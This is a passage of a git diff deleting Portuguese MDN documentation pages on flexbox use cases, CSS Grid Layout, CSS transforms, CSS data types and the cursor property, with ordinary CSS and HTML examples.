-<p>Whether you use flexbox or CSS Grid to lay out a list of card components, these layout methods only work on direct children of the flex or grid component. This means that if you have variable amounts of content, the card will stretch to the height of the grid area or flex container. Any content inside uses regular block layout, meaning that on a card with less content the footer will rise up to the bottom of the content rather than stick to the bottom of the card.</p>
-
-<p><img alt="Two card components showing that the internals of the component do not stretch with the wrapper." src="https://mdn.mozillademos.org/files/15669/flex-cards.png" style="height: 626px; width: 964px;"></p>
-
-<p>Flexbox can solve this. We make the card a flex container, with {{cssxref("flex-direction")}}<code>: column</code>. We then set the content area to <code>flex: 1</code>, which is the shorthand for <code>flex: 1 1 auto</code> — the item can grow and shrink from a flex basis of <code>auto</code>. As this is the only item that can grow, it takes up all available space in the flex container and pushes the footer to the bottom. If you remove the <code>flex</code> property from the live example you will see how the footer then moves up to sit directly under the content.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}</p>
-
-<h2 id="Objetos_de_multimédia">Objetos de multimédia</h2>
-
-<p>The media object is a common pattern in web design — this pattern has an image or other element to one side and text to the right. Ideally a media object should be able to be flipped — moving the image from left to right.</p>
-
-<p>We see this pattern everywhere, used for comments, and anywhere we need to display images and descriptions. With flexbox we can allow the part of the media object containing the image to take its sizing information from the image, and then the body of the media object flexes to take up the remaining space.</p>
-
-<p>In the live example below you can see our media object. I have used the alignment properties to align the items on the cross axis to <code>flex-start</code>, and then set the <code>.content</code> flex item to <code>flex: 1</code>. As with our column layout card pattern above, using <code>flex: 1</code> means this part of the card can grow.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}</p>
-
-<p>Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.</p>
-
-<p>To prevent the image growing too large, add a {{cssxref("max-width")}} to the image. As that side of the media object is using the initial values of flexbox it can shrink but not grow, and uses a <code>flex-basis</code> of auto. Any {{cssxref("width")}} or max-width applied to the image will become the <code>flex-basis</code>.</p>
-
-<pre class="brush: css">.image img {
- max-width: 100px;
-}
-</pre>
-
-<p>You could also allow both sides to grow and shrink in proportion. If you set both sides to <code>flex: 1</code>, they will grow and shrink from a {{cssxref("flex-basis")}} of 0, so you will end up with two equal-sized columns. You could either take the content as a guide and set both to <code>flex: auto</code>, in which case they would grow and shrink from the size of the content or any size applied directly to the flex items such as a width on the image.</p>
-
-<pre class="brush: css">.media .content {
- flex: 1;
- padding: 10px;
-}
-
-.image {
- flex: 1;
-}</pre>
-
-<p>You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to <code>flex: 1</code> and the content side to <code>flex: 3</code>. This will mean they use a <code>flex-basis</code> of <code>auto</code> but distribute that space at different rates according to the <code>flex-grow</code> factor you have assigned. The flex properties we use to do this are described in detail in the guide <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling ratios of flex items along the main axis</a>.</p>
-
-<pre class="brush: css">.media .content {
- flex: 3;
- padding: 10px;
-}
-
-.image {
- flex: 1;
-}</pre>
-
-<h3 id="Flipping_the_media_object">Flipping the media object</h3>
-
-<p>To switch the display of the media object so that the image is on the right and the content is on the left we can use the <code>flex-direction</code> property set to <code>row-reverse</code>. The media object now displays the other way around. I have achieved this in the live example by adding a class of <code>flipped</code> alongside the existing <code>.media</code> class. This means you can see how the display changes by removing that class from the html.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}</p>
-
-<h2 id="Controlos_de_formulário">Controlos de formulário</h2>
-
-<p>Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.</p>
-
-<p>Flexbox makes this type of layout easy to achieve. I have contained my <code>&lt;button&gt;</code> and <code>&lt;input&gt;</code> field in a wrapper which I have given a border and set to <code>display: flex</code>. I have then set the <code>align-items</code> property to <code>center</code> so that the fields stay aligned with each other. I then use the flex properties to allow the <code>&lt;input&gt;</code> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}</p>
-
-<p>You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}</p>
-
-<p>Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.</p>
-
-<h2 id="Conclusão">Conclusão</h2>
-
-<p>While exploring the above patterns you have hopefully started to see how you can think through the best way to use flexbox to achieve the result that you want. Quite often you have more than one choice. Mix items that cannot stretch with those that can, use the content to inform the size, or allow flexbox to share out space in proportion. It’s up to you. </p>
-
-<p>Think about the best way to present the content that you have and then see how flexbox or other layout methods can help you achieve it.</p>
diff --git a/files/pt-pt/web/css/css_grid_layout/index.html b/files/pt-pt/web/css/css_grid_layout/index.html
deleted file mode 100644
index cdb4293de2..0000000000
--- a/files/pt-pt/web/css/css_grid_layout/index.html
+++ /dev/null
@@ -1,251 +0,0 @@
----
-title: CSS - Layout de Grade
-slug: Web/CSS/CSS_Grid_Layout
-tags:
- - CSS
- - Grades
- - Layout
- - Layout de Grade
- - Referencia
- - Resumo
-translation_of: Web/CSS/CSS_Grid_Layout
-original_slug: Web/CSS/layout_de_grelha_css
----
-<p><strong>CSS - Layout de Grade </strong>destaca-se em dividir uma página em regiões principais, ou definir a relação em termos de tamanho, posição e camada, entre partes de um controle criado a partir de HTML primitivas. <br>
-  <br>
- Tal como as tabelas, o layout de grelha permite que um autor alinhe os elementos em colunas e linhas. No entanto, são possíveis muitos mais layouts ou mais fáceis com a grelha de CSS do que eram com as tabelas. Por exemplo, os elementos filhos de um recipiente de grelha poderão posicionar-se a eles mesmos, e assim eles realmente se sobrepõem e a camada, similar aos elementos posicionados do CSSs..</p>
-
-<h2 id="Basic_Example" name="Basic_Example">Exemplo básico</h2>
-
-<p>O exemplo abaixo mostra uma grelha de faixa com três colunas, com novas linhas criadas com um mínimo de 100 píxeis e um máximo de <em>auto</em>. Os itens foram colocados na grelha utilizando o posicionamento baseado em linha .</p>
-
-<div id="example">
-<div class="hidden">
-<pre class="brush: css">* {box-sizing: border-box;}
-.wrapper {
- max-width: 940px;
- margin: 0 auto;
-}
-
-.wrapper &gt; div {
- border: 2px solid rgb(233,171,88);
- border-radius: 5px;
- background-color: rgba(233,171,88,.5);
- padding: 1em;
- color: #d9480f;
-}</pre>
-</div>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;div class="wrapper"&gt;
- &lt;div class="one"&gt;One&lt;/div&gt;
- &lt;div class="two"&gt;Two&lt;/div&gt;
- &lt;div class="three"&gt;Three&lt;/div&gt;
- &lt;div class="four"&gt;Four&lt;/div&gt;
- &lt;div class="five"&gt;Five&lt;/div&gt;
- &lt;div class="six"&gt;Six&lt;/div&gt;
-&lt;/div&gt;</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush: css">.wrapper {
- display: grid;
- grid-template-columns: repeat(3, 1fr);
- grid-gap: 10px;
- grid-auto-rows: minmax(100px, auto);
-}
-.one {
- grid-column: 1 / 3;
- grid-row: 1;
-}
-.two {
- grid-column: 2 / 4;
- grid-row: 1 / 3;
-}
-.three {
- grid-column: 1;
- grid-row: 2 / 5;
-}
-.four {
- grid-column: 3;
- grid-row: 3;
-}
-.five {
- grid-column: 2;
- grid-row: 4;
-}
-.six {
- grid-column: 3;
- grid-row: 4;
-}
-</pre>
-
-<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
-</div>
-
-<h2 id="Referência">Referência</h2>
-
-<h3 id="CSS_-_propriedades">CSS - propriedades</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("grid-template-columns")}}</li>
- <li>{{cssxref("grid-template-rows")}}</li>
- <li>{{cssxref("grid-template-areas")}}</li>
- <li>{{cssxref("grid-template")}}</li>
- <li>{{cssxref("grid-auto-columns")}}</li>
- <li>{{cssxref("grid-auto-rows")}}</li>
- <li>{{cssxref("grid-auto-flow")}}</li>
- <li>{{cssxref("grid")}}</li>
- <li>{{cssxref("grid-row-start")}}</li>
- <li>{{cssxref("grid-column-start")}}</li>
- <li>{{cssxref("grid-row-end")}}</li>
- <li>{{cssxref("grid-column-end")}}</li>
- <li>{{cssxref("grid-row")}}</li>
- <li>{{cssxref("grid-column")}}</li>
- <li>{{cssxref("grid-area")}}</li>
- <li>{{cssxref("grid-row-gap")}}</li>
- <li>{{cssxref("grid-column-gap")}}</li>
- <li>{{cssxref("grid-gap")}}</li>
-</ul>
-</div>
-
-<h3 id="CSS_-_funções">CSS - funções</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("repeat", "repeat()")}}</li>
- <li>{{cssxref("minmax", "minmax()")}}</li>
- <li>{{cssxref("fit-content", "fit-content()")}}</li>
-</ul>
-</div>
-
-<h3 id="CSS_-_tipos_de_dados">CSS - tipos de dados</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("&lt;flex&gt;")}}</li>
-</ul>
-</div>
-
-<h3 id="Glossário_-_entradas">Glossário - entradas</h3>
-
-<div class="index">
-<ul>
- <li><a href="/pt-PT/docs/Glossário/grelha">Grelha</a></li>
- <li><a href="/pt-PT/docs/Glossário/linhas_de_grelha">Linhas de Grelha</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Tracks">Grid Tracks</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Cell">Grid Cell</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Areas">Grid Area</a></li>
- <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Rows">Grid row</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Column">Grid column</a></li>
-</ul>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of Grid Layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship of Grid Layout to other layout methods</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Layout using line-based placement</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in CSS Grid Layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid Layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grid, Logical Values and Writing Modes</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and accessibility</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Realising common layouts using CSS Grid</a></li>
-</ul>
-</div>
-
-<h2 id="Recursos_externos">Recursos externos</h2>
-
-<ul>
- <li><a href="http://labs.jensimmons.com/">Examples from Jen Simmons</a></li>
- <li><a href="http://gridbyexample.com/">Grid by Example - a collection of usage examples and video tutorials</a></li>
- <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
- <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('CSS3 Grid') }}</td>
- <td>{{ Spec2('CSS3 Grid') }}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<section class="Quick_links" id="Quick_Links">
-<ol>
- <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
- <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
- <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
- <ol>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
- </ol>
- </li>
- <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
- <ol>
- <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
- <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
- </ol>
- </li>
- <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
- <ol>
- <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
- <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
- <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
- </ol>
- </li>
-</ol>
-</section>
diff --git a/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html b/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html
deleted file mode 100644
index dba05f3a78..0000000000
--- a/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: CSS/Usando_transformações_CSS
-slug: Web/CSS/CSS_Transforms/Using_CSS_transforms
-translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms
-original_slug: Web/CSS/Usando_transformações_CSS
----
-<p>{{ gecko_minversion_header("1.9.1") }}</p>
-<p>Firefox 3.5 (Gecko 1.9.1) introduz suporte a transformações CSS; estas são implementadas utilizando um conjunto de propriedades CSS permitindo a você aplicar transformações lineares a elementos HTML. Essas transformações são baseadas sobre o <a class="external" href="http://webkit.org/blog/130/css-transforms/" title="http://webkit.org/blog/130/css-transforms/">design proposto pelo time WebKit</a> e incluem rotar, inclinar, escalar e usar translação. Enquanto isso, é um <a class="external" href="http://www.w3.org/TR/css3-2d-transforms/" title="http://www.w3.org/TR/css3-2d-transforms/">W3C working draft</a>.</p>
-<p>Mozilla atualmente suporta as propriedades {{ Cssxref("-moz-transform") }} e {{ Cssxref("-moz-transform-origin") }}. Para detalhes sobre onde funções de transformação são suportadas, veja o artigo <a class="internal" href="/En/CSS/CSS_transform_functions" title="/en/CSS/CSS transform functions">CSS transform functions</a> (en).</p>
-<div class="note">
- <strong>Nota:</strong> Até o momento não há suporte ao eixo Z, portanto, perspectiva, rotação 3D, escala 3D, e transformações 3D não são suportadas.</div>
-<h2 id="Exemplo_Rotação">Exemplo: Rotação</h2>
-<p>Este exemplo cria um <em>iframe</em> que lhe permite utilizar a página inicial do Google, girada 90 graus sobre seu canto inferior esquerdo.</p>
-<p><a class="internal" href="/@api/deki/files/2921/=rotated-google-sample.html" title="/@api/deki/files/2921/=rotated-google-sample.html">Visualizar exemplo</a><br>
- <a class="internal" href="/@api/deki/files/2920/=google-rotated.png" title="/@api/deki/files/2920/=google-rotated.png">Visualizar <em>screenshot</em> do exemplo</a></p>
-<pre class="brush: html">&lt;div style="-moz-transform: rotate(90deg); -moz-transform-origin: bottom left;"&gt;
-  &lt;iframe src="http://www.google.com/" width="500px" height="600px" /&gt;
-&lt;/div&gt;
-</pre>
-<h2 id="Exemplo_Inclinação_e_translação">Exemplo: Inclinação e translação</h2>
-<p>Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, inclinada 10 graus no eicho X.</p>
-<p><a class="external" href="/@api/deki/files/2922/=skewed-google-sample.html" title="http://developer.mozilla.org/editor/fckeditor/core/editor/@api/deki/files/2922/=skewed-google-sample.html">Visualizar exemplo</a><br>
- <a class="internal" href="/@api/deki/files/2923/=skewed-google.png" title="/@api/deki/files/2923/=skewed-google.png">Visualizar <em>screenshot</em> do exemplo</a></p>
-<pre class="brush: html">&lt;div style="-moz-transform: skewx(10deg) translatex(150px);
-           -moz-transform-origin: bottom left;"&gt;
-  &lt;iframe src="http://www.google.com/" width="600px" height="500px" /&gt;
-&lt;/div&gt;
-</pre>
-<h2 id="Veja_também">Veja também</h2>
-<ul>
- <li>{{ Cssxref("-moz-transform") }}</li>
- <li>{{ Cssxref("-moz-transform-origin") }}</li>
- <li><a class="internal" href="/En/CSS/CSS_transform_functions" title="En/CSS/CSS transform functions">CSS transform functions</a> (EN)</li>
-</ul>
-<p>{{ languages( { "ja": "ja/CSS/Using_CSS_transforms" } ) }}</p>
diff --git a/files/pt-pt/web/css/css_types/index.html b/files/pt-pt/web/css/css_types/index.html
deleted file mode 100644
index e469f49c98..0000000000
--- a/files/pt-pt/web/css/css_types/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: CSS - Tipos de datos básicos
-slug: Web/CSS/CSS_Types
-tags:
- - CSS
- - Referencia
- - Resumo
- - Sinopse
- - Tipos de Dados de CSS
-translation_of: Web/CSS/CSS_Types
-original_slug: Web/CSS/CSS_Tipos
----
-<div>{{CssRef}}</div>
-
-<p><strong>CSS - tipos de dados básicos</strong> define typical values (including keywords and units) accepted by CSS properties and functions. They are a special kind of <a href="https://www.w3.org/TR/css3-values/#component-types">component value type</a>.</p>
-
-<p>In formal syntax, data types are denoted by a keyword placed between the inequality signs "&lt;" and "&gt;".</p>
-
-<h2 id="Referência">Referência</h2>
-
-<div class="index">
-<ul>
- <li>{{cssxref("&lt;angle&gt;")}}</li>
- <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
- <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
- <li>{{cssxref("&lt;color&gt;")}}</li>
- <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
- <li>{{cssxref("&lt;filter-function&gt;")}}</li>
- <li>{{cssxref("&lt;flex&gt;")}}</li>
- <li>{{cssxref("&lt;frequency&gt;")}}</li>
- <li>{{cssxref("&lt;gradient&gt;")}}</li>
- <li>{{cssxref("&lt;image&gt;")}}</li>
- <li>{{cssxref("&lt;integer&gt;")}}</li>
- <li>{{cssxref("&lt;length&gt;")}}</li>
- <li>{{cssxref("&lt;number&gt;")}}</li>
- <li>{{cssxref("&lt;percentage&gt;")}}</li>
- <li>{{cssxref("&lt;position&gt;")}}</li>
- <li>{{cssxref("&lt;ratio&gt;")}}</li>
- <li>{{cssxref("&lt;resolution&gt;")}}</li>
- <li>{{cssxref("&lt;shape-box&gt;")}}</li>
- <li>{{cssxref("&lt;single-transition-timing-function&gt;")}}</li>
- <li>{{cssxref("&lt;string&gt;")}}</li>
- <li>{{cssxref("&lt;time&gt;")}}</li>
- <li>{{cssxref("&lt;transform-function&gt;")}}</li>
- <li>{{cssxref("&lt;url&gt;")}}</li>
-</ul>
-</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('CSS3 Values') }}</td>
- <td>{{ Spec2('CSS3 Values') }}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
diff --git a/files/pt-pt/web/css/cursor/index.html b/files/pt-pt/web/css/cursor/index.html
deleted file mode 100644
index 152fe3b344..0000000000
--- a/files/pt-pt/web/css/cursor/index.html
+++ /dev/null
@@ -1,159 +0,0 @@
----
-title: cursor
-slug: Web/CSS/cursor
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/cursor
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade {{ Cssxref("cursor") }} especifica o estilo do ponteiro do mouse quando estiver sobre o elemento.</p>
-
-<ul>
- <li>Valor inicial: <code>auto</code></li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: sim</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="/pt/CSS/Media/Visual" title="pt/CSS/Media/Visual">Visual</a>, <a href="/pt/CSS/Media/Interactive" title="pt/CSS/Media/Interactive">Interactive</a></li>
- <li><a href="/pt/CSS/computed_value" title="pt/CSS/computed_value">Valor computado</a>: como especificado (endereços relativos são convertidos como absolutos)</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p><code>cursor:</code> [ {{ mediawiki.external(' ,') }}* {{ mediawiki.external(' <code>auto</code> | <code>crosshair</code> | <code>default</code> | <code>pointer</code> | <code>move</code> | <code>e-resize</code> | <code>ne-resize</code> | <code>nw-resize</code> | <code>n-resize</code> | <code>se-resize</code> | <code>sw-resize</code> | <code>s-resize</code> | <code>w-resize</code> | <code>text</code> | <code>wait</code> | <code>help</code> | <code>progress</code> | <code>copy</code> | <code>alias</code> | <code>context-menu</code> | <code>cell</code> | <code>not-allowed</code> | <code>col-resize</code> | <code>row-resize</code> | <code>no-drop</code> | <code>vertical-text</code> | <code>all-scroll</code> | <code>nesw-resize</code> | <code>nwse-resize</code> | <code>ns-resize</code> | <code>ew-resize</code> ') }} ] | {{ Cssxref("inherit") }}</p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>&lt;url&gt; </dt>
- <dd>URL of custom cursor. More than one URL may be provided as fallback, in case some cursor image types are not supported. A non-URL fallback (one of the other values) must be at the end of the fallback list. See <a href="pt/Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd>
- <dt><code>default</code> </dt>
- <dd>default cursor (typically an arrow)</dd>
- <dt><code>auto</code> </dt>
- <dd>equivalent to <code>text</code> when over text and <code>default</code> otherwise</dd>
- <dt><code>crosshair</code> </dt>
- <dd>cross cursor, often used to indicate selection in a bitmap</dd>
- <dt><code>pointer</code> </dt>
- <dd>cursor used when over links (typically a hand)</dd>
- <dt><code>move</code> </dt>
- <dd>move cursor</dd>
- <dt><code>e-resize</code> </dt>
- <dd>cursor for resizing the right edge of a box</dd>
- <dt><code>ne-resize</code> </dt>
- <dd>cursor for resizing the top right corner of a box</dd>
- <dt><code>nw-resize</code> </dt>
- <dd>cursor for resizing the top left corner of a box</dd>
- <dt><code>n-resize</code> </dt>
- <dd>cursor for resizing the top edge of a box</dd>
- <dt><code>se-resize</code> </dt>
- <dd>cursor for resizing the bottom right corner of a box</dd>
- <dt><code>sw-resize</code> </dt>
- <dd>cursor for resizing the bottom left corner of a box</dd>
- <dt><code>s-resize</code> </dt>
- <dd>cursor for resizing the bottom edge of a box</dd>
- <dt><code>w-resize</code> </dt>
- <dd>cursor for resizing the left edge of a box</dd>
- <dt><code>text</code> </dt>
- <dd>cursor indicating text can be selected (typically an I-beam)</dd>
- <dt><code>wait</code> </dt>
- <dd>cursor indicating the program is busy (sometimes an hourglass or a watch)</dd>
- <dt><code>help</code> </dt>
- <dd>cursor indicating help is available</dd>
- <dt><code>progress</code> </dt>
- <dd>cursor indicating that the program is busy but the user can still interact with it (unlike for <code>busy</code>)</dd>
- <dt><code>copy</code> </dt>
- <dd>cursor showing something that can be copied</dd>
- <dt><code>alias</code> </dt>
- <dd>cursor indicating an alias or shortcut is to be created</dd>
- <dt><code>context-menu</code> </dt>
- <dd>cursor indicating that a context menu is available under the cursor</dd>
- <dt><code>cell</code> </dt>
- <dd>cursor indicating that cells can be selected</dd>
- <dt><code>not-allowed</code> </dt>
- <dd>cursor showing that something cannot be done</dd>
- <dt><code>col-resize</code> </dt>
- <dd>cursor for resizing columns horizontally</dd>
- <dt><code>row-resize</code> </dt>
- <dd>cursor for resizing rows vertically</dd>
- <dt><code>no-drop</code> </dt>
- <dd>cursor showing that a drop is not allowed at the current location</dd>
- <dt><code>vertical-text</code> </dt>
- <dd>cursor indicating that vertical text can be selected (typically a sideways I-beam)</dd>
- <dt><code>all-scroll</code> </dt>
- <dd>cursor showing that something can be scrolled in any direction (panned)</dd>
- <dt><code>nesw-resize</code> </dt>
- <dd>cursor for resizing in the top-right or bottom-left directions</dd>
- <dt><code>nwse-resize</code> </dt>
- <dd>cursor for resizing in the top-left or bottom-right directions</dd>
- <dt><code>ns-resize</code> </dt>
- <dd>cursor for resizing up or down</dd>
- <dt><code>ew-resize</code> </dt>
- <dd>cursor for resizing left or right</dd>
-</dl>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/cursor.html">View Live Examples</a></p>
-
-<pre>Inline:
-
-&lt;span style="cursor: crosshair"&gt;Some Text&lt;/span&gt;
-
-External:
-
-.pointer {
- cursor: pointer;
-}
-.move {
- cursor: move;
-}
-
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>While this property works on older browsers, not all values are fully supported.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/ui.html#propdef-cursor">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">css3-ui</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga/th&gt;</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1.5</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>7</td>
- </tr>
- </tbody>
-</table>
-
